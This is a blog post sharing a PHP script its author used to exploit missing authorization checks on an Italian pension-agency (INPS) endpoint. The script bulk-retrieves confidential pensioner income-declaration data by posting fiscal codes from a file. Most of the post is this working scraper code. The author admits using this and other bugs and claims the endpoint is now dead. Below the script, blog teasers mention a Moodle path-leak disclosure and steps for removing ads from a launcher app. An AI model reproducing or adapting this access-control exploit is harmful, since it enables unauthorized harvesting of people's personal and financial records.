Skip to main content

old script - retrieve confidential data from INPS about RED

An old php script that I used to retrieve informations about the RED (dichiarazione reddituale per pensionati) for each Fiscal Code.
INPS never checked the authorizations on the url to request the data and I used this, and several other, bug to work in a faster way ...
The url doesn't work anymore and the script is damn old that nobody will care about it.



<?php

$inputfile = 'codici.txt';
$outputfile = 'RED.txt';
$host = 'www.inps.it';
$path = '/servizi/redest/Frm_MatricolaIpost.aspx';

$method = 'POST';

//$host = 'www.google.it';

$postdata = '&Stampa=Esegui&F00=';

//reading codici fiscali from file
$arrcodicifiscali = getcodicifiscali($inputfile);




foreach($arrcodicifiscali as $codice)
{
    //getting the page
    $resdata = httpSocketConnection($host, 'GET', $path, '');
    $viewstatedata = '';
$regu = $resdata[1];

    if( preg_match( '#name="__VIEWSTATE" value="(.*?)"#', $resdata[1], $matches) )
    {
        $viewstatedata = $matches[1];
    }
//print_r($viewstatedata);exit;

//post data with the code
$postdatacf = $postdata . $codice;

//we need to set the VIEWSTATE
//$postdatacf = '__VIEWSTATE=' . $viewstatedata . $postdatacf;
//echo $postdatacf; exit;
$resdata = httpSocketConnection($host,$method,$path,$postdatacf);
echo $postdatacf . '';
echo '<pre>' . $regu . '</pre>';
echo '<pre>' . $resdata[1]. '</pre>'; exit();
}

//$resdata = httpSocketConnection($host,$method,$path,$postdata);
//file_put_contents($outputfile,$resdata);

echo 'ok';





//////////////////////////////////

function getcodicifiscali($inputfile)
{
    $codicifiscali = array();
   
    $handle = @fopen( $inputfile, 'r');
    if(!$handle) {
        echo 'cannot read the input file';
        exit();
    }
   
    //while there's no end of file
        while (feof($handle) === false) {
            $buffer = fgets($handle, 4096);
            $buffer = str_replace("\r",'', $buffer);
            $buffer = str_replace("\n",'', $buffer);
            $codicifiscali[] = $buffer;
        }
        fclose($handle);

    return $codicifiscali;
}



function httpSocketConnection($host, $method, $path = '', $data = '')
        {
            $method = strtoupper($method);      
          
            if (($method == "GET") && ($data != ''))
            {
                $path.= '?'.$data;
            }  
          
            $filePointer = fsockopen($host, 80, $errorNumber, $errorString);
          
            if (!$filePointer)
            {
                throw new Exception("Error $errorNumber $errorString");
            }
  
            $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
            $requestHeader.= "Host: ".$host."\r\n";
            $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
            $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
  
            if ($method == "POST")
            {
                $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
            }
          
            $requestHeader.= "Connection: close\r\n\r\n";
          
            if ($method == "POST")
            {
                $requestHeader.= $data;
            }          
  
            fwrite($filePointer, $requestHeader);
          
            $responseHeader = '';
            $responseContent = '';
  
            do
            {
                $responseHeader.= fread($filePointer, 1);
            }
            while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));
          
          
            if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
            {
                while (!feof($filePointer))
                {
                    $responseContent.= fgets($filePointer, 128);
                }
            }
            else
            {
  
                while ($chunk_length = hexdec(fgets($filePointer)))
                {
                    $responseContentChunk = '';
              
                  
                    $read_length = 0;
                  
                    while ($read_length < $chunk_length)
                    {
                        $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                        $read_length = strlen($responseContentChunk);
                    }
  
                    $responseContent.= $responseContentChunk;
                  
                    fgets($filePointer);
                  
                }
              
            }
  
            //cleaning the last parts
            $responseHeader = chop($responseHeader);
            $responseContent = chop($responseContent);
           
            $statuscode = getstatuscode($responseHeader);
            switch($statuscode)
            {
                case '302':
                //--todo-- add the autofollow true/false
                    $path = '';
                    httpSocketConnection($host, $method, $path, $data);
                break;
                default:
                break;
            }
           
            return array($responseHeader, $responseContent);

        }

function getstatuscode($myheaders)
{
    //if we have the raw headers we convert them to an array
    if(is_array($myheaders) === false)
    {
        $myheaders = str_replace("\r", '',$myheaders);
        //splitting into an array
        $myheaders = split("\n", $myheaders);
    }
   
    //checking the first line with the status code
    //ex. HTTP/1.1 301 Moved Permanently
    if ( preg_match('#HTTP/\d{1}\.\d{1} (\d{3}) .*#', $myheaders[0], $matches) )
    {
        //returning the status code
        return $matches[1];
    }
    //return false for any error
    return false;
   
}


function cookieJar($myheaders)
{
/*
Date: Thu, 30 Jul 2009 16:41:36 GMT
Server: Microsoft-IIS/6.0
P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
S:: 04
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Location: http://it.msn.com/
Set-Cookie: MC1=V=3&GUID=351aadd02c2c4c6a943829592de783dd; domain=.msn.it; expires=Mon, 04-Oct-2021 11:00:00 GMT; path=/
Cache-Control: no-cache
Content-Length: 0
*/

//if we have the raw headers we convert them to an array
if(is_array($myheaders) === false)
{
    $myheaders = str_replace("\r", '',$myheaders);
    $myheaders = split("\n", $myheaders);
}

$MycookieJar = array();


while ($line = trim(array_shift($myheaders))) {
    list($header, $value) = explode(':', $line, 2);
   
    if ( $header == 'Set-Cookie' || $header == 'set-cookie2' ) {

        // v2 cookies
        if ($header == 'set-cookie2')
        {
            $cookies = explode(',', $value);
        } else {
            $cookies = array($value);
        }       

        foreach ($cookies as $cookie)
        {
            $cookie = explode(';', $cookie);
            foreach ($cookie as $pos => $val)
                {
                    $val = explode('=', $val, 2);
                    $val[1] = trim(@$val[1]);
                    $MycookieJar[] = $val;
                }
        }
        }
}
return $MycookieJar;
//echo $myheaders . "\r\n";
//print_r($MycookieJar);exit;
}
?>

Comments

Popular posts from this blog

Moodle 3.8.1+ - path leak via errors in several files

Moodle 3.8.1+ ----------------------------------------------- File: admin/mailout-debugger.php #!/usr/bin/php Notice : Disabled. in \admin\mailout-debugger.php on line 73 File: admin/settings/appearance.php Notice : Undefined variable: hassiteconfig in \admin\settings\appearance.php on line 10 Fatal error : Uncaught Error: Call to undefined function has_any_capability() in \admin\settings\appearance.php:10 Stack trace: #0 {main} thrown in \admin\settings\appearance.php on line 10 File: admin/settings/badges.php Notice : Undefined variable: hassiteconfig in \admin\settings\badges.php on line 30 Fatal error : Uncaught Error: Call to undefined function has_any_capability() in \admin\settings\badges.php:30 Stack trace: #0 {main} thrown in \admin\settings\badges.php on line 30 File: admin/settings/courses.php Notice : Undefined variable: hassiteconfig in \admin\settings\courses.php on line 32 Fatal error : Uncaught Error: Call to undefined function

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)